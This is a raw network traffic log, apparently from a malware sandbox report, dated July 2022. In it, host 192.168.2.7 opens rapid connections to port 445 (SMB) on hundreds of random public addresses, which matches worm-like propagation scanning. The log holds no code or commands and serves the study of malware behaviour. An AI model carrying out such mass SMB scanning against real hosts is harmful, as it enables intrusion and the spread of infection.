Jul 20, 2022 13:27:44.963305950 CEST	61616	445	192.168.2.7	44.1.104.96
Jul 20, 2022 13:27:44.963311911 CEST	61617	445	192.168.2.7	36.75.241.106
Jul 20, 2022 13:27:44.963495016 CEST	61619	445	192.168.2.7	17.209.161.143
Jul 20, 2022 13:27:44.963581085 CEST	61621	445	192.168.2.7	61.248.8.73
Jul 20, 2022 13:27:44.963728905 CEST	61623	445	192.168.2.7	169.173.210.96
Jul 20, 2022 13:27:44.963844061 CEST	61624	445	192.168.2.7	144.127.208.142
Jul 20, 2022 13:27:44.964205980 CEST	61632	445	192.168.2.7	81.251.11.67
Jul 20, 2022 13:27:44.964382887 CEST	61635	445	192.168.2.7	175.67.34.69
Jul 20, 2022 13:27:44.964870930 CEST	61646	445	192.168.2.7	91.222.205.205
Jul 20, 2022 13:27:44.964915037 CEST	61647	445	192.168.2.7	107.166.189.70
Jul 20, 2022 13:27:44.964991093 CEST	61648	445	192.168.2.7	25.240.15.117
Jul 20, 2022 13:27:44.965229034 CEST	61653	445	192.168.2.7	124.163.171.168
Jul 20, 2022 13:27:44.965320110 CEST	61655	445	192.168.2.7	113.11.170.156
Jul 20, 2022 13:27:44.965487957 CEST	61657	445	192.168.2.7	213.7.23.52
Jul 20, 2022 13:27:44.965548038 CEST	61659	445	192.168.2.7	217.19.53.5
Jul 20, 2022 13:27:44.965696096 CEST	61661	445	192.168.2.7	91.156.85.74
Jul 20, 2022 13:27:44.966434956 CEST	61662	445	192.168.2.7	200.22.113.102
Jul 20, 2022 13:27:45.150527000 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:45.174624920 CEST	445	61617	36.75.241.106	192.168.2.7
Jul 20, 2022 13:27:45.180360079 CEST	445	61677	93.22.219.5	192.168.2.7
Jul 20, 2022 13:27:45.180525064 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:45.180584908 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:45.415831089 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:45.478701115 CEST	61680	445	192.168.2.7	5.240.140.149
Jul 20, 2022 13:27:45.478807926 CEST	61682	445	192.168.2.7	94.27.140.96
Jul 20, 2022 13:27:45.483167887 CEST	61681	445	192.168.2.7	185.15.42.157
Jul 20, 2022 13:27:45.650551081 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:45.681221962 CEST	445	61683	86.71.147.3	192.168.2.7
Jul 20, 2022 13:27:45.681411982 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:45.681431055 CEST	61617	445	192.168.2.7	36.75.241.106
Jul 20, 2022 13:27:45.681554079 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:45.728251934 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:45.822582960 CEST	61700	445	192.168.2.7	33.178.227.169
Jul 20, 2022 13:27:45.822616100 CEST	61701	445	192.168.2.7	31.164.103.2
Jul 20, 2022 13:27:45.890242100 CEST	445	61617	36.75.241.106	192.168.2.7
Jul 20, 2022 13:27:46.021939039 CEST	61710	445	192.168.2.7	136.105.84.27
Jul 20, 2022 13:27:46.022017002 CEST	61713	445	192.168.2.7	177.17.48.147
Jul 20, 2022 13:27:46.022139072 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:46.022147894 CEST	61714	445	192.168.2.7	219.191.220.83
Jul 20, 2022 13:27:46.022190094 CEST	61709	445	192.168.2.7	144.100.184.212
Jul 20, 2022 13:27:46.022216082 CEST	61707	445	192.168.2.7	97.147.82.145
Jul 20, 2022 13:27:46.043989897 CEST	61721	445	192.168.2.7	115.113.66.205
Jul 20, 2022 13:27:46.072777033 CEST	61725	445	192.168.2.7	44.129.42.203
Jul 20, 2022 13:27:46.073000908 CEST	61727	445	192.168.2.7	109.164.196.8
Jul 20, 2022 13:27:46.073512077 CEST	61735	445	192.168.2.7	170.94.185.204
Jul 20, 2022 13:27:46.073612928 CEST	61737	445	192.168.2.7	109.113.11.39
Jul 20, 2022 13:27:46.073797941 CEST	61740	445	192.168.2.7	67.228.23.124
Jul 20, 2022 13:27:46.073822975 CEST	61741	445	192.168.2.7	152.104.23.27
Jul 20, 2022 13:27:46.074189901 CEST	61747	445	192.168.2.7	126.62.165.40
Jul 20, 2022 13:27:46.074217081 CEST	61743	445	192.168.2.7	162.165.176.32
Jul 20, 2022 13:27:46.074379921 CEST	61750	445	192.168.2.7	112.197.135.197
Jul 20, 2022 13:27:46.074426889 CEST	61751	445	192.168.2.7	73.208.210.195
Jul 20, 2022 13:27:46.074503899 CEST	61752	445	192.168.2.7	7.140.153.85
Jul 20, 2022 13:27:46.074846983 CEST	61759	445	192.168.2.7	46.222.36.115
Jul 20, 2022 13:27:46.074954033 CEST	61761	445	192.168.2.7	161.60.236.87
Jul 20, 2022 13:27:46.075064898 CEST	61763	445	192.168.2.7	21.116.233.144
Jul 20, 2022 13:27:46.075170994 CEST	61765	445	192.168.2.7	52.185.104.38
Jul 20, 2022 13:27:46.075237989 CEST	61757	445	192.168.2.7	207.113.194.84
Jul 20, 2022 13:27:46.075246096 CEST	61766	445	192.168.2.7	113.136.102.47
Jul 20, 2022 13:27:46.243928909 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:46.337712049 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:46.556750059 CEST	61795	445	192.168.2.7	185.15.42.158
Jul 20, 2022 13:27:46.556782007 CEST	61796	445	192.168.2.7	5.240.140.150
Jul 20, 2022 13:27:46.556968927 CEST	61797	445	192.168.2.7	94.27.140.97
Jul 20, 2022 13:27:46.853423119 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:46.947520971 CEST	61815	445	192.168.2.7	169.111.80.38
Jul 20, 2022 13:27:46.947568893 CEST	61814	445	192.168.2.7	14.249.219.117
Jul 20, 2022 13:27:47.104089022 CEST	61819	445	192.168.2.7	159.236.129.224
Jul 20, 2022 13:27:47.119335890 CEST	61822	445	192.168.2.7	42.210.248.230
Jul 20, 2022 13:27:47.119488955 CEST	61825	445	192.168.2.7	64.129.166.66
Jul 20, 2022 13:27:47.119664907 CEST	61828	445	192.168.2.7	217.137.137.94
Jul 20, 2022 13:27:47.120537996 CEST	61827	445	192.168.2.7	210.217.28.164
Jul 20, 2022 13:27:47.166440010 CEST	61835	445	192.168.2.7	106.212.0.35
Jul 20, 2022 13:27:47.197494030 CEST	61837	445	192.168.2.7	148.175.147.144
Jul 20, 2022 13:27:47.197596073 CEST	61838	445	192.168.2.7	199.248.27.40
Jul 20, 2022 13:27:47.197724104 CEST	61840	445	192.168.2.7	74.97.146.209
Jul 20, 2022 13:27:47.197835922 CEST	61842	445	192.168.2.7	66.223.124.233
Jul 20, 2022 13:27:47.197952986 CEST	61845	445	192.168.2.7	171.134.242.9
Jul 20, 2022 13:27:47.198122978 CEST	61848	445	192.168.2.7	70.2.209.54
Jul 20, 2022 13:27:47.198329926 CEST	61851	445	192.168.2.7	123.69.42.252
Jul 20, 2022 13:27:47.198364019 CEST	61852	445	192.168.2.7	162.188.80.86
Jul 20, 2022 13:27:47.198437929 CEST	61853	445	192.168.2.7	117.208.138.139
Jul 20, 2022 13:27:47.198780060 CEST	61859	445	192.168.2.7	67.52.111.226
Jul 20, 2022 13:27:47.198945045 CEST	61862	445	192.168.2.7	56.249.12.95
Jul 20, 2022 13:27:47.198952913 CEST	61860	445	192.168.2.7	140.114.66.58
Jul 20, 2022 13:27:47.199043989 CEST	61864	445	192.168.2.7	112.7.144.104
Jul 20, 2022 13:27:47.199141979 CEST	61866	445	192.168.2.7	117.238.205.88
Jul 20, 2022 13:27:47.199220896 CEST	61867	445	192.168.2.7	48.218.81.21
Jul 20, 2022 13:27:47.200804949 CEST	61899	445	192.168.2.7	118.42.120.143
Jul 20, 2022 13:27:47.200839996 CEST	61900	445	192.168.2.7	56.24.207.108
Jul 20, 2022 13:27:47.369472980 CEST	61907	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:47.386097908 CEST	445	61907	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:47.386220932 CEST	61907	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:47.386312008 CEST	61907	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:47.402766943 CEST	445	61907	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:47.403424978 CEST	445	61907	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:47.463232994 CEST	61909	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:47.479890108 CEST	445	61909	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:47.481333971 CEST	61909	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:47.481448889 CEST	61909	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:47.481853962 CEST	61910	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:47.498187065 CEST	445	61909	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:47.498323917 CEST	445	61910	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:47.498423100 CEST	445	61909	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:47.498580933 CEST	61910	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:47.498616934 CEST	61910	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:47.515420914 CEST	445	61910	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:47.515901089 CEST	445	61910	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:47.540935040 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:47.635467052 CEST	61911	445	192.168.2.7	5.240.140.151
Jul 20, 2022 13:27:47.635601997 CEST	61912	445	192.168.2.7	94.27.140.98
Jul 20, 2022 13:27:47.635706902 CEST	61913	445	192.168.2.7	185.15.42.159
Jul 20, 2022 13:27:48.056590080 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:48.072515011 CEST	61931	445	192.168.2.7	90.35.128.180
Jul 20, 2022 13:27:48.072534084 CEST	61932	445	192.168.2.7	139.12.62.205
Jul 20, 2022 13:27:48.229125023 CEST	61940	445	192.168.2.7	131.56.232.26
Jul 20, 2022 13:27:48.229315996 CEST	61941	445	192.168.2.7	22.135.95.150
Jul 20, 2022 13:27:48.229557037 CEST	61942	445	192.168.2.7	110.101.8.41
Jul 20, 2022 13:27:48.229707956 CEST	61946	445	192.168.2.7	122.88.183.61
Jul 20, 2022 13:27:48.229865074 CEST	61947	445	192.168.2.7	212.233.224.179
Jul 20, 2022 13:27:48.276402950 CEST	61952	445	192.168.2.7	3.145.51.96
Jul 20, 2022 13:27:48.323704958 CEST	61957	445	192.168.2.7	97.248.2.166
Jul 20, 2022 13:27:48.323905945 CEST	61960	445	192.168.2.7	155.86.185.253
Jul 20, 2022 13:27:48.324239969 CEST	61961	445	192.168.2.7	131.181.210.205
Jul 20, 2022 13:27:48.324315071 CEST	61965	445	192.168.2.7	161.238.86.53
Jul 20, 2022 13:27:48.324379921 CEST	61966	445	192.168.2.7	160.198.126.3
Jul 20, 2022 13:27:48.324556112 CEST	61968	445	192.168.2.7	75.136.111.191
Jul 20, 2022 13:27:48.324758053 CEST	61970	445	192.168.2.7	69.181.80.125
Jul 20, 2022 13:27:48.324779987 CEST	61971	445	192.168.2.7	84.130.163.83
Jul 20, 2022 13:27:48.324969053 CEST	61972	445	192.168.2.7	95.72.192.11
Jul 20, 2022 13:27:48.325068951 CEST	61974	445	192.168.2.7	77.137.210.155
Jul 20, 2022 13:27:48.325251102 CEST	61976	445	192.168.2.7	22.69.232.149
Jul 20, 2022 13:27:48.326965094 CEST	62008	445	192.168.2.7	114.25.154.129
Jul 20, 2022 13:27:48.326970100 CEST	62007	445	192.168.2.7	101.97.218.64
Jul 20, 2022 13:27:48.327572107 CEST	62016	445	192.168.2.7	181.116.15.246
Jul 20, 2022 13:27:48.327809095 CEST	62019	445	192.168.2.7	33.35.31.36
Jul 20, 2022 13:27:48.327928066 CEST	62015	445	192.168.2.7	65.136.146.89
Jul 20, 2022 13:27:48.327990055 CEST	62022	445	192.168.2.7	144.62.186.97
Jul 20, 2022 13:27:48.479098082 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:48.649876118 CEST	445	62025	38.55.46.5	192.168.2.7
Jul 20, 2022 13:27:48.650052071 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:48.650432110 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:48.651201010 CEST	62027	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:48.713666916 CEST	62029	445	192.168.2.7	94.27.140.99
Jul 20, 2022 13:27:48.713670015 CEST	62028	445	192.168.2.7	5.240.140.152
Jul 20, 2022 13:27:48.713882923 CEST	62030	445	192.168.2.7	185.15.42.160
Jul 20, 2022 13:27:49.197293043 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:49.197655916 CEST	62048	445	192.168.2.7	76.9.219.12
Jul 20, 2022 13:27:49.197833061 CEST	62049	445	192.168.2.7	186.123.193.204
Jul 20, 2022 13:27:49.354180098 CEST	62056	445	192.168.2.7	223.16.157.83
Jul 20, 2022 13:27:49.354280949 CEST	62058	445	192.168.2.7	1.78.165.119
Jul 20, 2022 13:27:49.354427099 CEST	62061	445	192.168.2.7	161.196.127.70
Jul 20, 2022 13:27:49.354496002 CEST	62062	445	192.168.2.7	174.45.83.106
Jul 20, 2022 13:27:49.354615927 CEST	62064	445	192.168.2.7	60.196.2.201
Jul 20, 2022 13:27:49.401163101 CEST	62068	445	192.168.2.7	81.195.219.7
Jul 20, 2022 13:27:49.447971106 CEST	62073	445	192.168.2.7	151.109.190.162
Jul 20, 2022 13:27:49.448098898 CEST	62075	445	192.168.2.7	93.150.220.182
Jul 20, 2022 13:27:49.448221922 CEST	62077	445	192.168.2.7	122.48.24.65
Jul 20, 2022 13:27:49.448363066 CEST	62079	445	192.168.2.7	219.62.146.112
Jul 20, 2022 13:27:49.448395014 CEST	62080	445	192.168.2.7	200.241.53.155
Jul 20, 2022 13:27:49.448575974 CEST	62082	445	192.168.2.7	71.162.246.109
Jul 20, 2022 13:27:49.448693037 CEST	62084	445	192.168.2.7	147.120.43.97
Jul 20, 2022 13:27:49.450125933 CEST	62115	445	192.168.2.7	44.150.108.0
Jul 20, 2022 13:27:49.450170994 CEST	62116	445	192.168.2.7	194.110.224.119
Jul 20, 2022 13:27:49.450598955 CEST	62123	445	192.168.2.7	92.48.187.68
Jul 20, 2022 13:27:49.450623035 CEST	62124	445	192.168.2.7	70.161.78.110
Jul 20, 2022 13:27:49.450809002 CEST	62126	445	192.168.2.7	145.187.73.107
Jul 20, 2022 13:27:49.451042891 CEST	62130	445	192.168.2.7	147.68.174.136
Jul 20, 2022 13:27:49.451256990 CEST	62134	445	192.168.2.7	20.175.32.75
Jul 20, 2022 13:27:49.451318026 CEST	62135	445	192.168.2.7	104.59.161.116
Jul 20, 2022 13:27:49.451527119 CEST	62138	445	192.168.2.7	70.220.137.247
Jul 20, 2022 13:27:49.451718092 CEST	62140	445	192.168.2.7	167.183.26.224
Jul 20, 2022 13:27:49.791646957 CEST	62143	445	192.168.2.7	94.27.140.100
Jul 20, 2022 13:27:49.791651011 CEST	62144	445	192.168.2.7	5.240.140.153
Jul 20, 2022 13:27:49.791770935 CEST	62145	445	192.168.2.7	185.15.42.161
Jul 20, 2022 13:27:49.947381020 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:50.213035107 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:50.322715044 CEST	62164	445	192.168.2.7	189.169.15.37
Jul 20, 2022 13:27:50.322747946 CEST	62165	445	192.168.2.7	159.81.126.126
Jul 20, 2022 13:27:50.463192940 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:50.479166985 CEST	62172	445	192.168.2.7	115.239.189.160
Jul 20, 2022 13:27:50.479290009 CEST	62175	445	192.168.2.7	28.104.240.78
Jul 20, 2022 13:27:50.479345083 CEST	62176	445	192.168.2.7	133.48.202.79
Jul 20, 2022 13:27:50.479526997 CEST	62179	445	192.168.2.7	132.16.4.39
Jul 20, 2022 13:27:50.479691029 CEST	62182	445	192.168.2.7	123.229.25.219
Jul 20, 2022 13:27:50.526082993 CEST	62185	445	192.168.2.7	79.109.220.109
Jul 20, 2022 13:27:50.526086092 CEST	62184	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:50.544202089 CEST	445	62184	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:50.544344902 CEST	62184	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:50.544384003 CEST	62184	445	192.168.2.7	172.65.175.8
Jul 20, 2022 13:27:50.562638044 CEST	445	62184	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:50.562932968 CEST	445	62184	172.65.175.8	192.168.2.7
Jul 20, 2022 13:27:50.573045015 CEST	62190	445	192.168.2.7	34.73.156.83
Jul 20, 2022 13:27:50.573055983 CEST	62191	445	192.168.2.7	57.27.96.169
Jul 20, 2022 13:27:50.574436903 CEST	62221	445	192.168.2.7	146.210.177.49
Jul 20, 2022 13:27:50.574558973 CEST	62223	445	192.168.2.7	156.224.13.154
Jul 20, 2022 13:27:50.574831009 CEST	62229	445	192.168.2.7	162.76.93.220
Jul 20, 2022 13:27:50.574959993 CEST	62231	445	192.168.2.7	69.173.44.205
Jul 20, 2022 13:27:50.575390100 CEST	62235	445	192.168.2.7	202.169.242.14
Jul 20, 2022 13:27:50.575563908 CEST	62239	445	192.168.2.7	116.245.64.109
Jul 20, 2022 13:27:50.575671911 CEST	62241	445	192.168.2.7	118.246.105.209
Jul 20, 2022 13:27:50.575742006 CEST	62242	445	192.168.2.7	36.27.167.196
Jul 20, 2022 13:27:50.575875998 CEST	62245	445	192.168.2.7	214.162.44.219
Jul 20, 2022 13:27:50.576003075 CEST	62246	445	192.168.2.7	22.207.7.233
Jul 20, 2022 13:27:50.576143980 CEST	62250	445	192.168.2.7	144.191.69.15
Jul 20, 2022 13:27:50.576250076 CEST	62251	445	192.168.2.7	41.39.212.3
Jul 20, 2022 13:27:50.576368093 CEST	62253	445	192.168.2.7	38.175.123.88
Jul 20, 2022 13:27:50.576493979 CEST	62255	445	192.168.2.7	162.7.238.49
Jul 20, 2022 13:27:50.576543093 CEST	62256	445	192.168.2.7	91.141.103.94
Jul 20, 2022 13:27:50.620186090 CEST	62259	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:50.636625051 CEST	445	62259	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:50.636718988 CEST	62259	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:50.636778116 CEST	62259	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:50.637156010 CEST	62260	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:50.653865099 CEST	445	62259	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:50.656661034 CEST	445	62260	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:50.656795979 CEST	62260	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:50.656847954 CEST	62260	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:50.675642967 CEST	445	62260	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:50.675682068 CEST	445	62260	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:50.717322111 CEST	445	62231	69.173.44.205	192.168.2.7
Jul 20, 2022 13:27:50.869617939 CEST	62262	445	192.168.2.7	94.27.140.101
Jul 20, 2022 13:27:50.869812965 CEST	62264	445	192.168.2.7	185.15.42.162
Jul 20, 2022 13:27:50.869828939 CEST	62263	445	192.168.2.7	5.240.140.154
Jul 20, 2022 13:27:50.915384054 CEST	445	62264	185.15.42.162	192.168.2.7
Jul 20, 2022 13:27:51.228734016 CEST	62231	445	192.168.2.7	69.173.44.205
Jul 20, 2022 13:27:51.364363909 CEST	445	62231	69.173.44.205	192.168.2.7
Jul 20, 2022 13:27:51.416284084 CEST	62264	445	192.168.2.7	185.15.42.162
Jul 20, 2022 13:27:51.448138952 CEST	62283	445	192.168.2.7	80.211.202.104
Jul 20, 2022 13:27:51.448550940 CEST	62284	445	192.168.2.7	48.95.118.73
Jul 20, 2022 13:27:51.463198900 CEST	445	62264	185.15.42.162	192.168.2.7
Jul 20, 2022 13:27:51.485882044 CEST	445	62283	80.211.202.104	192.168.2.7
Jul 20, 2022 13:27:51.604774952 CEST	62293	445	192.168.2.7	174.247.166.165
Jul 20, 2022 13:27:51.604944944 CEST	62294	445	192.168.2.7	5.144.176.208
Jul 20, 2022 13:27:51.604945898 CEST	62295	445	192.168.2.7	91.189.14.69
Jul 20, 2022 13:27:51.605137110 CEST	62298	445	192.168.2.7	58.37.48.6
Jul 20, 2022 13:27:51.605304956 CEST	62301	445	192.168.2.7	40.150.12.197
Jul 20, 2022 13:27:51.651274920 CEST	62304	445	192.168.2.7	220.80.35.4
Jul 20, 2022 13:27:51.666241884 CEST	62027	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:51.699651003 CEST	62331	445	192.168.2.7	215.170.210.246
Jul 20, 2022 13:27:51.699697018 CEST	62332	445	192.168.2.7	54.194.180.32
Jul 20, 2022 13:27:51.700035095 CEST	62338	445	192.168.2.7	219.108.245.69
Jul 20, 2022 13:27:51.700093985 CEST	62339	445	192.168.2.7	4.215.185.165
Jul 20, 2022 13:27:51.700426102 CEST	62345	445	192.168.2.7	22.144.35.101
Jul 20, 2022 13:27:51.700587988 CEST	62348	445	192.168.2.7	85.248.183.37
Jul 20, 2022 13:27:51.700764894 CEST	62350	445	192.168.2.7	90.191.187.29
Jul 20, 2022 13:27:51.700798988 CEST	62351	445	192.168.2.7	24.42.132.47
Jul 20, 2022 13:27:51.701060057 CEST	62354	445	192.168.2.7	189.196.157.115
Jul 20, 2022 13:27:51.701334953 CEST	62355	445	192.168.2.7	112.197.189.213
Jul 20, 2022 13:27:51.701349020 CEST	62358	445	192.168.2.7	51.108.165.188
Jul 20, 2022 13:27:51.701436043 CEST	62360	445	192.168.2.7	171.70.231.139
Jul 20, 2022 13:27:51.701562881 CEST	62363	445	192.168.2.7	82.240.78.149
Jul 20, 2022 13:27:51.701703072 CEST	62365	445	192.168.2.7	186.60.168.150
Jul 20, 2022 13:27:51.701704025 CEST	62364	445	192.168.2.7	195.127.155.246
Jul 20, 2022 13:27:51.701957941 CEST	62369	445	192.168.2.7	157.46.133.201
Jul 20, 2022 13:27:51.702009916 CEST	62370	445	192.168.2.7	197.15.36.218
Jul 20, 2022 13:27:51.714644909 CEST	445	62294	5.144.176.208	192.168.2.7
Jul 20, 2022 13:27:51.947962999 CEST	62379	445	192.168.2.7	5.240.140.155
Jul 20, 2022 13:27:51.948012114 CEST	62378	445	192.168.2.7	94.27.140.102
Jul 20, 2022 13:27:51.948164940 CEST	62380	445	192.168.2.7	185.15.42.163
Jul 20, 2022 13:27:51.994410038 CEST	62283	445	192.168.2.7	80.211.202.104
Jul 20, 2022 13:27:52.033541918 CEST	445	62283	80.211.202.104	192.168.2.7
Jul 20, 2022 13:27:52.228873968 CEST	62294	445	192.168.2.7	5.144.176.208
Jul 20, 2022 13:27:52.229043007 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:52.338249922 CEST	445	62294	5.144.176.208	192.168.2.7
Jul 20, 2022 13:27:52.557634115 CEST	62400	445	192.168.2.7	73.182.206.11
Jul 20, 2022 13:27:52.557661057 CEST	62401	445	192.168.2.7	159.48.89.222
Jul 20, 2022 13:27:52.715023041 CEST	62405	445	192.168.2.7	39.186.142.117
Jul 20, 2022 13:27:52.715338945 CEST	62411	445	192.168.2.7	148.200.132.48
Jul 20, 2022 13:27:52.715430021 CEST	62412	445	192.168.2.7	31.34.223.180
Jul 20, 2022 13:27:52.715675116 CEST	62416	445	192.168.2.7	193.28.156.191
Jul 20, 2022 13:27:52.715733051 CEST	62417	445	192.168.2.7	66.202.177.17
Jul 20, 2022 13:27:52.776622057 CEST	62421	445	192.168.2.7	62.0.130.238
Jul 20, 2022 13:27:52.823407888 CEST	62427	445	192.168.2.7	61.254.108.249
Jul 20, 2022 13:27:52.823556900 CEST	62430	445	192.168.2.7	151.33.188.15
Jul 20, 2022 13:27:52.823637009 CEST	62431	445	192.168.2.7	118.199.1.118
Jul 20, 2022 13:27:52.823988914 CEST	62436	445	192.168.2.7	27.41.58.237
Jul 20, 2022 13:27:52.824311972 CEST	62443	445	192.168.2.7	156.20.192.233
Jul 20, 2022 13:27:52.824417114 CEST	62444	445	192.168.2.7	40.233.253.221
Jul 20, 2022 13:27:52.824568987 CEST	62446	445	192.168.2.7	41.166.122.84
Jul 20, 2022 13:27:52.824798107 CEST	62450	445	192.168.2.7	186.76.222.68
Jul 20, 2022 13:27:52.824824095 CEST	62451	445	192.168.2.7	92.37.153.67
Jul 20, 2022 13:27:52.826050997 CEST	62477	445	192.168.2.7	52.179.73.98
Jul 20, 2022 13:27:52.826109886 CEST	62478	445	192.168.2.7	113.139.54.102
Jul 20, 2022 13:27:52.826481104 CEST	62486	445	192.168.2.7	180.156.105.245
Jul 20, 2022 13:27:52.826507092 CEST	62487	445	192.168.2.7	140.242.128.44
Jul 20, 2022 13:27:52.826683998 CEST	62490	445	192.168.2.7	130.151.195.72
Jul 20, 2022 13:27:52.826767921 CEST	62492	445	192.168.2.7	200.13.186.92
Jul 20, 2022 13:27:52.826889992 CEST	62491	445	192.168.2.7	68.223.108.69
Jul 20, 2022 13:27:52.854840994 CEST	445	62421	62.0.130.238	192.168.2.7
Jul 20, 2022 13:27:53.010637045 CEST	62494	445	192.168.2.7	5.240.140.156
Jul 20, 2022 13:27:53.010647058 CEST	62495	445	192.168.2.7	185.15.42.164
Jul 20, 2022 13:27:53.010814905 CEST	62496	445	192.168.2.7	94.27.140.103
Jul 20, 2022 13:27:53.369577885 CEST	62421	445	192.168.2.7	62.0.130.238
Jul 20, 2022 13:27:53.447457075 CEST	445	62421	62.0.130.238	192.168.2.7
Jul 20, 2022 13:27:53.682631016 CEST	62517	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:53.682660103 CEST	62518	445	192.168.2.7	56.39.242.184
Jul 20, 2022 13:27:53.682810068 CEST	62519	445	192.168.2.7	114.45.54.96
Jul 20, 2022 13:27:53.699229956 CEST	445	62517	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:53.699373007 CEST	62517	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:53.699450016 CEST	62517	445	192.168.2.7	172.65.175.9
Jul 20, 2022 13:27:53.716110945 CEST	445	62517	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:53.716456890 CEST	445	62517	172.65.175.9	192.168.2.7
Jul 20, 2022 13:27:53.777659893 CEST	62523	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:53.797990084 CEST	445	62523	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:53.798084974 CEST	62523	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:53.798126936 CEST	62523	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:53.798768044 CEST	62524	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:53.818022013 CEST	445	62524	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:53.818046093 CEST	445	62523	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:53.818058968 CEST	445	62523	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:53.818619013 CEST	62524	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:53.818649054 CEST	62524	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:53.839997053 CEST	445	62524	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:53.840234995 CEST	445	62524	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:53.841111898 CEST	62526	445	192.168.2.7	15.115.49.100
Jul 20, 2022 13:27:53.841536999 CEST	62533	445	192.168.2.7	197.230.50.160
Jul 20, 2022 13:27:53.841639996 CEST	62534	445	192.168.2.7	121.104.227.57
Jul 20, 2022 13:27:53.841795921 CEST	62537	445	192.168.2.7	25.17.114.21
Jul 20, 2022 13:27:53.842142105 CEST	62536	445	192.168.2.7	49.135.151.46
Jul 20, 2022 13:27:53.901336908 CEST	62541	445	192.168.2.7	218.206.128.194
Jul 20, 2022 13:27:53.945938110 CEST	445	62519	114.45.54.96	192.168.2.7
Jul 20, 2022 13:27:53.948731899 CEST	62561	445	192.168.2.7	26.207.207.107
Jul 20, 2022 13:27:53.949134111 CEST	62571	445	192.168.2.7	49.170.68.136
Jul 20, 2022 13:27:53.949158907 CEST	62570	445	192.168.2.7	47.229.89.118
Jul 20, 2022 13:27:53.949316025 CEST	62574	445	192.168.2.7	133.4.126.47
Jul 20, 2022 13:27:53.949366093 CEST	62575	445	192.168.2.7	129.141.233.149
Jul 20, 2022 13:27:53.949513912 CEST	62563	445	192.168.2.7	55.71.12.231
Jul 20, 2022 13:27:53.949533939 CEST	62577	445	192.168.2.7	23.165.218.232
Jul 20, 2022 13:27:53.949768066 CEST	62584	445	192.168.2.7	50.178.236.25
Jul 20, 2022 13:27:53.949897051 CEST	62585	445	192.168.2.7	22.33.223.116
Jul 20, 2022 13:27:53.950119019 CEST	62592	445	192.168.2.7	149.37.244.242
Jul 20, 2022 13:27:53.950311899 CEST	62596	445	192.168.2.7	73.131.237.112
